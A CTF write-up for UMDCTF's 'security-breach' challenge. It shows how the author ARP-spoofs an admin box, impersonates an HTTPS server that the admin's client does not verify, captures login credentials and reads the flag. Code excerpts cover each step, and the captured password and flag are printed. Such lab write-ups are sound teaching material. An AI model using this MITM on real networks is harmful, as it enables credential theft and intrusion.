security-breach
umdctf
Task: an internal HTTPS service exposed login and dashboard endpoints, while an admin box repeatedly queried the server from the same LAN. Solution: instead of exploiting the visible BREACH-style compression oracle, ARP-spoof the admin and abuse disabled TLS verification to steal credentials and read the flag.
$ ls tags/ techniques/
security-breach — UMDCTF
Description
Our agents have infiltrated the world's smallest--I mean largest--insider trading network! They left a note for you on the server. Best of luck!
The challenge provided a shell via nc challs.umdctf.io 31337, plus the admin.py and server.py sources. The note explained that the player host was inside the same small internal network as an admin box and the HTTPS server, and that the flag format was UMDCTF{[a-z0-9_]+}.
Analysis
The first obvious bug was a BREACH-style compression oracle. The admin continuously requested /api/dashboard, and that JSON response contained both attacker-controlled input and the secret flag:
{"filter":"...user-controlled...","flag":"UMDCTF{...}"}
Because the admin advertised compression support (Accept-Encoding: gzip, deflate, br, zstd) and polled roughly every 50 ms, it looked like the intended route was to manipulate filter, observe compressed lengths, and recover the flag one character at a time.
But the much shorter path was in admin.py. The admin HTTPS client explicitly disabled TLS validation:
ctx = ssl.create_default_context() ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE
That turns HTTPS into encryption without authentication. Any host that can place itself in the middle and present any certificate at all can impersonate the server.
The network layout from the note and runtime behavior was:
10.0.0.1— admin box10.0.0.2— real HTTPS server10.0.0.3— player shell
The player shell also had exactly the capabilities needed for a LAN MITM: arpspoof, tcpdump, curl, openssl, python3, plus cap_net_admin and cap_net_raw.
The provided server.py behavior mattered mainly for the endpoint map:
POST /login POST /api/suggestions GET /api/suggestions/latest GET /api/dashboard
The real server listened on HTTPS with a self-signed certificate at 10.0.0.2:443. Since the admin did not verify certificates or hostnames, a fake HTTPS listener on our box could accept the admin's login and collect the credentials.
Solution
I used the exploit script saved as tasks/umdctf/security-breach/solve_remote.py.
1. Determine the correct interface
The script first asked the kernel how traffic to 10.0.0.2 would be routed and extracted the interface name:
route = run("ip", "route", "get", SERVER_IP, capture_output=True).stdout match = re.search(r"\bdev\s+(\S+)", route)
That is the interface that must receive the spoofed traffic.
2. Make the player host answer for 10.0.0.2
To impersonate the HTTPS server cleanly, the script added a host route address for the target IP onto the local interface:
run("ip", "addr", "add", f"{SERVER_IP}/32", "dev", iface, check=False)
This lets the player box bind locally for traffic destined to 10.0.0.2 once the admin's ARP cache points at us.
3. Start a fake HTTPS server with any certificate
Because the admin ignores certificate validation, the certificate did not need to chain to a trusted CA. A temporary self-signed certificate was enough:
run( "openssl", "req", "-x509", "-newkey", "rsa:2048", "-nodes", "-keyout", key_path, "-out", cert_path, "-subj", f"/CN={SERVER_IP}", "-days", "1", )
Then the script wrapped a Python ThreadingHTTPServer in TLS and listened on port 443.
4. ARP-spoof the admin box
The actual redirection step was:
subprocess.Popen(["arpspoof", "-i", iface, "-t", ADMIN_IP, SERVER_IP])
This poisoned the admin host's ARP resolution for 10.0.0.2, causing its HTTPS requests to reach the fake server on the player box instead of the real server.
5. Capture the admin credentials
The fake server only needed to implement the endpoints the admin expected. The important one was POST /login, where it parsed the form body and stored the submitted credentials:
if self.path == "/login": form = urllib.parse.parse_qs(raw.decode(errors="replace")) user = form.get("user", [""])[0] password = form.get("pass", [""])[0] self.server.creds = (user, password)
During the solve, the captured values were:
- user:
admin - pass:
mkQH5DypUvbjGZK0aa44Fo1yhSPZdh25
The fake server also returned lightweight JSON for /api/suggestions, /api/suggestions/latest, and /api/dashboard so the polling client would stay happy long enough to finish the capture.
6. Stop the MITM and talk to the real server
After the credentials were captured, the script shut down the fake server, stopped arpspoof, removed the temporary IP alias, and then logged into the real service directly:
login = session.post( f"https://{SERVER_IP}/login", data={"user": user, "pass": password}, verify=False, timeout=5, ) dashboard = session.get( f"https://{SERVER_IP}/api/dashboard", verify=False, timeout=5, )
The dashboard returned:
{"filter":"","flag":"UMDCTF{cr1m3_p4ys_br34ch_m0re}"}
So the flag was recovered immediately, with no need to brute-force the compression oracle.
Why the BREACH angle was a trap
The BREACH observation was real: secret and attacker-controlled bytes were reflected together in a compressed HTTPS response, and the admin polled it rapidly enough to make an adaptive attack plausible. But that route would have required a noisier iterative extraction process.
The TLS bug was strictly stronger. If a client accepts any certificate, an on-path attacker can become the server, steal the login, and then request the protected resource normally. Once that bug was visible in admin.py, the challenge became a local-network MITM problem rather than a compression side-channel problem.
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar
Similar writeups
- [network][free]security-breach-ruin— umdctf
- [crypto][free]no-brainrot-allowed— umdctf
- [web][free]open-insight— umdctf
- [web][free]Browsed— hackthebox
- [network][free]insider-info— umdctf